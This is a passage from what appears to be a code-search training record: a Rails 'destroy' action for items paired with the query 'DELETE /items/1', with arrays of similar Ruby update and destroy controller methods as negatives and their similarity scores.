"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def change_multiple_items\n @items = params[:items]\n\n @items.each do |item|\n @current_item = Item.find(item[:id])\n @current_item.update(quantity: item[:quantity])\n end\n\n render :json => @items.to_json\n end",
"def update\n @item = Item.find(params[:id])\n\n get_relations_from_params\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n# @item = Item.get(params[:id])\n\n respond_to do |format|\n if @item.update(params[:item])\n format.html { redirect_to({action: :show, id: @item}, notice: 'Item was successfully updated.') }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to lists_path, :notice => 'Item was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def updateItem(app, repo_url, item, id)\n headers = defaultHeaders(app[\"token\"])\n data = id.merge(item).to_json\n response = HTTParty.post(repo_url,\n headers: headers,\n body: data)\n response \nend",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { respond_with_bip(@item) }\n else\n format.html { render action: 'edit' }\n format.json { respond_with_bip(@item) }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n respond_to do |format|\n if @item.update_attributes(params[:item])\n flash[:notice] = \"Item has been updated\"\n format.json { render :json => @item.to_json, :status => 200 }\n format.xml { head :ok }\n format.html { render :action => :edit }\n else\n format.json { render :text => \"Could not update item\", :status => :unprocessable_entity } #placeholder\n format.xml { render :xml => @item.errors, :status => :unprocessable_entity }\n format.html { render :action => :edit, :status => :unprocessable_entity }\n end\n end\n end",
"def update\r\n @item = Item.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @item.update_attributes(params[:item])\r\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\r\n format.json { head :ok }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @item.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n item = Item.find(params[:id])\n if item.user == current_user\n if item.update(item_params)\n render json: item\n else\n render json: {errors: item.errors}, status: :unprocessable_entity\n end\n else\n render json: {errors: \"you can't do it\"}, status: :unprocessable_entity\n end\n end",
"def update\n @item.update!(item_params)\n end",
"def update_item(item_id)\n request_body = {\n 'name' => 'Malted Milkshake'\n }\n\n response = Unirest.put CONNECT_HOST + '/v1/' + LOCATION_ID + '/items/' + item_id,\n headers: REQUEST_HEADERS,\n parameters: request_body.to_json\n\n if response.code == 200\n puts 'Successfully updated item:'\n puts JSON.pretty_generate(response.body)\n return response.body\n else\n puts 'Item update failed'\n puts response.body\n return nil\n end\nend",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to items_path, notice: 'Item was updated successfully' }\n format.json { render :show, status: :ok, location: items_path }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n json_response(@food_item.update!(food_item_params))\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to items_path, notice: 'Item ' + @item.name + ' was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to items_url, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @apiv1_item.update(apiv1_item_params)\n format.html { redirect_to @apiv1_item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @apiv1_item }\n else\n format.html { render :edit }\n format.json { render json: @apiv1_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to root_path, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = @user.items.find(params[:id])\n\n @item.update(:type_list => \"\", :tag_list => \"\")\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to [@user, @item], notice: 'item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n\n\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: t('controller.successfully_updated', model: t('activerecord.models.item')) }\n format.json { head :no_content }\n else\n prepare_options\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: \"Item was successfully updated.\" }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: \"Item was successfully updated.\" }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: \"Item was successfully updated.\" }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: \"Item was successfully updated.\" }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n\n\n end",
"def item_update\n @item = Item.find(params[:id])\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to item_show_path(@item), notice: 'O item foi atualizado com sucesso.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(item_attrs = {})\n body = { update: item_attrs }\n Iterable.request(conf, base_path).patch(body)\n end",
"def update\n item = @list.list_items.find(params[:id])\n\n if item.update_attributes(params[:list_item])\n render json: item\n else\n error(t('messages.list_item.errors.update'))\n end\n end",
"def update\n task\n if @item.update(item_params)\n render json: @list.as_json, status: :ok\n else\n render json: {list: @item.errors, status: :unprocessable_entity}\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n logger.info \"Item: #{@item}\\nw/ param attr: #{params[:item].inspect}\"\n respond_to do |format|\n @item.attributes = params[:item].select{|k,v| ![:item_photos, :item_photos_attributes, :location].include?(k.to_sym) }\n\n @item.load_item_photos_with_params(params[:item] )\n\n if @item.save\n\n @item.set_by_user(auth_user)\n\n logger.info \" C) after save: attr: #{@item.attributes}\"\n\n if manage_item_photos(@item).present? || @item.changed?\n @item.save\n logger.info \" D) attr: #{@item.attributes}\"\n end\n\n format.html {\n redirect_to inventory_approve_item_path(:user_id => \"#{@item.owner.id}\")\n }\n format.json { render json:{ item: @item, success: true} }\n else\n set_flash_messages_from_errors(@item)\n format.html { render action: \"edit\" }\n format.json { render json: { error: @item.errors.first.join(' ') }, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(item_params)\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.name, status: :unprocessable_entity }\n # format.html { render json: @item, notice: 'Item was not successfully updated.' }\n end\n end\n end",
"def update\n @item = current_user.items.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: \"#{@item.name} was successfully updated.\" }\n format.json { head :no_content }\n else\n format.html do\n flash[:alert] = 'Something went wrong while updating an item.'\n render action: \"edit\"\n end\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to user_item_path(current_user, @item), notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to [@item.user, @item], notice: t('.notice') }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_save_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = TodoItem.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:todo_item])\n format.html { redirect_to @item, notice: 'TodoItem was successfully updated.' }\n format.json {render json: {\n success: true,\n data: [],\n message: \"TodoItem was successfully updated.\"\n }}\n else\n format.html { render action: \"edit\" }\n format.json { render json: {\n success: false,\n data: [],\n message: @item.errors\n }}\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.7441283",
"0.7143631",
"0.7138621",
"0.70232904",
"0.7001103",
"0.69939095",
"0.6979452",
"0.69359636",
"0.6920768",
"0.6870842",
"0.68318534",
"0.6816314",
"0.6805184",
"0.6805184",
"0.67938346",
"0.6787414",
"0.6787414",
"0.6787414",
"0.6787414",
"0.6787414",
"0.6787414",
"0.6787414",
"0.6787414",
"0.6787414",
"0.6787414",
"0.6787414",
"0.6771217",
"0.6771217",
"0.6761528",
"0.6756919",
"0.6744741",
"0.6733828",
"0.6728566",
"0.6727303",
"0.6727303",
"0.6727303",
"0.6727303",
"0.6727303",
"0.6727303",
"0.6727303",
"0.6727303",
"0.6727303",
"0.6722952",
"0.6722426",
"0.6708205",
"0.6701645",
"0.6697515",
"0.66798913",
"0.6666133",
"0.66504264",
"0.66447204",
"0.6636837",
"0.66351587",
"0.6614025",
"0.6588264",
"0.65860087",
"0.65854347",
"0.65854347",
"0.65854347",
"0.65854347",
"0.65854347",
"0.65854347",
"0.65854347",
"0.65854347",
"0.65854347",
"0.65854347",
"0.65854347",
"0.65854347",
"0.65854347",
"0.65854347",
"0.65854347",
"0.65854347",
"0.65854347",
"0.65854347",
"0.65854347",
"0.65854347",
"0.65854347",
"0.65854347",
"0.65854347",
"0.65854347",
"0.6582132",
"0.65754706",
"0.6570108",
"0.656482",
"0.656482",
"0.656482",
"0.656482",
"0.6559582",
"0.65553075",
"0.65377355",
"0.652341",
"0.65175974",
"0.6512202",
"0.65024793",
"0.64982295",
"0.6495841",
"0.6492034",
"0.64579993",
"0.6457962",
"0.6454582",
"0.64395607"
] |
0.0
|
-1
|
DELETE /items/1 DELETE /items/1.json
|
def destroy
item = Item.find(params[:item_id])
user = User.find(item[:user_id])
if(user && user[:username] == session['username'])
if (item.item_type == 'file')
FileUploader.delete_file item.path
end
Item.delete(params[:item_id])
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def delete\n render json: Item.delete(params[\"id\"])\n end",
"def delete(items)\n item_ids = items.collect { |item| item.id }\n args = {ids: item_ids.to_json}\n return @client.api_helper.command(args, \"item_delete\")\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def delete_item(item_id)\n response = Unirest.delete CONNECT_HOST + '/v1/' + LOCATION_ID + '/items/' + item_id,\n headers: REQUEST_HEADERS\n\n if response.code == 200\n puts 'Successfully deleted item'\n return response.body\n else\n puts 'Item deletion failed'\n puts response.body\n return nil\n end\nend",
"def destroy\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def delete_item(id)\n record \"/todos/delete_item/#{id}\"\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :ok }\n format.xml { head :ok }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
